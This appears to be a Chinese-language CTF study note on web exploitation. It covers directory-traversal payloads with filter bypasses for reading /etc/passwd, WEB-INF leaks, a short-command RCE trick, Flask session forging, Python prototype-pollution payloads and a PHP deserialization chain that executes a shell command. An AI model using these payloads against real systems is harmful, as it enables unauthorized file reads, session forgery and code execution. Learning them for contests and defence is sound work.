目录遍历漏洞(SQCTF-Through)

原理

某些使用不当参数包含的使用导致能都读取服务器上任意文件

比如在网页html中使用<img src="/image?filename=1.png">来加载image下的1.png文件

当攻击者读取任意文件可以使用filename=../../../../../etc/passwd时就成为

/var/www/images/../../../../../etc/passwd
就等价于
/etc/passwd

Linux中,../表示返回上级目录;在Windows中,../和..\都表示返回上级目录

在根目录使用../只会返回当前页面

攻击方法

如下题,那么file参数就可能有目录遍历的风险

<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
  • 直接包含

file=../../../../etc/passwd
  • 使用绝对路径

有些时候会对参数进行检测,比如过滤../等,那么这个时候我们可以尝试绝对路径

file=etc/passwd
  • 使用双写绕过

如果只是将../替换为空,那么可以使用双写绕过。(SQCTF-Through)

file=....//....//....//....//etc/passwd
file=..././..././..././..././etc/passwd
  • 使用url编码绕过

有些时候也可以通过url编码来绕过服务器对.或者/的检测

. => %2e

/ => %2f

% => %25 (双重URL编码)

file=..%2f..%2f..%2f..%2fetc%2fpasswd
file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
file=..%252f..%252f..%252f..%252fetc%252fpasswd
  • 绝对路径配合../

有些时候会对参数进行判断是否为一个固定开头

file=/var/www/image/../../../../etc/passwd
  • %00截断文件后缀

如果对文件后缀名进行限制,利用%00截断

file=../../../../etc/passwd%00.jpg
  • ./绕过

如果只是对连续的../进行过滤,那么就可以用./../来进行绕过。(eg.2025XYCTF-Signin)

./表示当前目录,添加进去不会造成任何影响

file=./.././.././.././../etc/passwd

常见有用路径

  • /proc/self/environ当前进程的环境变量
  • /var/www/html默认的 Web 根目录
  • /etc/passwd存储用户账户的基本信息

WEB-INF泄露(SQCTF-File_download)

原理

WEB-INF主要包含以下内容:

  • /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件。

那么,在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。

攻击方法

以这个题为例,在扫目录发现WEB-INF目录后就可以通过里面的/WEB-INF/web.xml找到配置文件,进而找到可能的含有flag的文件进行下一步分析

五字符rce(SQCTF-RceMe)

这个题限制了不能超过6个字符,如果是cat /f*刚好超过,那这时就可以通过nl这个编号并返回的命令来直接读取根目录下全部文件,则有了nl /f*

这里可以本地进行尝试,首先在根目录下新建一个flag.txt

image-20250414232140244

尝试进行nl /f*,可以看到只读取了flag的文件内容,而对于其他目录,nl是不能读取的

image-20250414232334511


在比赛中直接一个nl /*就打出来了,但是赛后看wp发现还有其他姿势,那就来学习一下

觉得重要就写到命令执行里面了,参考web入门-命令执行(已完结) | Yxing

session伪造(SQCTF-千查万别)

第一次遇到这个还是在玄武杯,首先要通过一个脚本解密session然后获得json数据

  • 安装
pip install flask-unsign
  • 使用

解密

flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6MCwidXNlcl9pZCI6ImFub255bW91cyJ9.ZyyyoQ.M_fymfx7RJybrgZwoZv_hp2wLe0'

加密

flask-unsign --sign --cookie "json数据" --secret '密钥'

如果只是解密的话也可以用脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)


if __name__ == '__main__':
print(decryption("eyJpc19hZG1pbiI6MCwidXNlcl9pZCI6ImFub255bW91cyJ9.ZyyyoQ.M_fymfx7RJybrgZwoZv_hp2wLe0".encode()))#把需要加密的flasksession的值换一下就行

python原型链污染(HNCTF-奇怪的咖啡店)

参考浅谈Python原型链污染及利用方式-先知社区

漏洞代码分析

def merge(src, dst):  #src含有需要合并的键值对,dst可以是字典或对象,接收src的属性
for k, v in src.items(): #检查src中的键值对,k是键(key),表示属性名,v是值(value),表示键的内容
if hasattr(dst, '__getitem__'): #检查dst是否支持__getitem__方法,若成真,则说明dst可通过键访问,比如字典
if dst.get(k) and type(v) == dict: #dst中键存在且src值是一个字典,递归调用
merge(v, dst.get(k))
else: #否则将v直接赋给dst[k]
dst[k] = v
elif hasattr(dst, k) and type(v) == dict: #如果dst不是字典而是对象等,检查dst中是否有属性k,再检查src中v是否为字典
merge(v, getattr(dst, k)) #有属性k且为字典,就直接递归调用后合并
else:
setattr(dst, k, v) #否则直接将dst的属性k赋值为v

示例 1:合并两个字典

src = {'a': 1, 'b': {'x': 2}} 
dst = {'b': {'y': 3}}
merge(src, dst) print(dst)
# 输出: {'b': {'x': 2, 'y': 3}, 'a': 1}
  • dst 是字典,支持 __getitem__
  • 对于 k = ‘a’,dst 中没有 ‘a’,直接赋值 dst[‘a’] = 1。
  • 对于 k = ‘b’,dst[‘b’] 存在且 v 是字典,递归合并 {‘x’: 2} 和 {‘y’: 3},结果为 {‘x’: 2, ‘y’: 3}。

示例 2:合并到自定义对象

class MyObj:
pass
src = {'a': 1, 'b': {'x': 2}}
dst = MyObj() dst.b = {'y': 3}
merge(src, dst) print(dst.a, dst.b)
# 输出: 1 {'x': 2, 'y': 3}
  • dst 是对象,不支持 __getitem__
  • 对于 k = ‘a’,dst 没有属性 a,用 setattr 设置 dst.a = 1。
  • 对于 k = ‘b’,dst 有属性 b 且 v 是字典,递归合并 {‘x’: 2} 和 {‘y’: 3}。

所以这里就可以通过控制src中的值来控制dst的值,从而达到污染目的

举例

class father:
secret = "hello"
class son_a(father):
pass
class son_b(father): #均继承父类,所以son_a和son_b均有变量secret="hello"
pass

instance = son_b() #创建son_b的实例赋值给instance
payload = {
"__class__" : {
"__base__" : {
"secret" : "world"
}
}
}

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

print(son_a.secret)
#hello
print(instance.secret)
#hello
merge(payload, instance) #简单来说就是通过__class__找到son_b这个类,__base___找到father这个类,secret实现修改值
print(son_a.secret) #由于父类值被修改,子类值也被修改
#world
print(instance.secret)
#world

这里也可以在merge处下断点来观察函数内部过程

首次进函数为merge({"__class__": {"__base__": {"secret": "world"}}}, instance),会因为由于instance是一个对象跳到elif,但是instance中有__class__v为字典而进入递归

image-20250610184005923

第二次的函数相当于merge({"__base__": {"secret": "world"}}, son_b),再次进入递归

image-20250610184416333

第三次的函数就相当于merge({"secret": "world"}, father),由于这里的v不是一个字典了,所以直接进入else,也就实现了修改father类中的secret值,实现污染

image-20250610184902830

注意,这上面的for循环过程还没完成,所以打断点单步调试时还会跳到for循环来判断是否还有键值对,这里实际上只进行了三个merge函数调用

获取目标类

这上面是有父类和子类的继承关系,除此之外,还有以下方法获取

__globals__全局变量获取

在函数或类方法中,我们经常会看到__init__初始化方法,但是它作为类的一个内置方法,在没有被重写作为函数的时候,其数据类型会被当做装饰器,而装饰器的特点就是都具有一个全局属性__globals__属性,__globals__ 属性是函数对象的一个属性,用于访问该函数所在模块的全局命名空间。具体来说就是,__globals__ 属性返回一个字典,里面包含了函数定义时所在模块的全局变量。

a=1
def demo():
pass
class A :
def __init__(self):
pass
print(demo.__globals__==globals()==A.__init__.__globals__)
#true
#用来验证一个函数的全局变量和一个类__init__的__globals__相等
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def demo():
pass
class A:
def __init__(self):
pass
class B:
classa = 2

a = 1

instance = A()
payload = {
"__init__":{
"__globals__":{
"a":4,
"B":{
"classa":5
}
}
}
}
print(B.classa)
#2
print(a)
#1
merge(payload, instance)
print(a)
#4
print(B.classa)
#5

import加载获取

##demo.py
a = 1
class B:
classa = 2
import demo
payload = {
"__init__":{
"__globals__":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}

sys获取

import sys
payload = {
"__init__":{
"__globals__":{
"sys":{
"modules":{
"demo":{
"a":4,
"B":{
"classa":5
}
}
}
}
}
}
}

loader获取

loader.__init__.__globals__['sys']来获取sys模块后同上

md4绕过

0e001233333333333334557778889

反混淆马php

奇安信攻防社区-phpjm混淆解密浅谈

<?php
error_reporting(0);

class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}

class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}

$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}

?>

<?php
class shi
{
public $next='Demo';
public $pass='ls /';
}
class wo
{
public $sex='boy';
public $age='eighteen';
public $intention;
}

class Demo
{}

$a=new wo();
$a->intention=new shi();
echo serialize($a);
?>
//O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";s:4:"Demo";s:4:"pass";s:4:"ls /";}}
//wo::__destruct->shi::__toString->Demo::__callStatic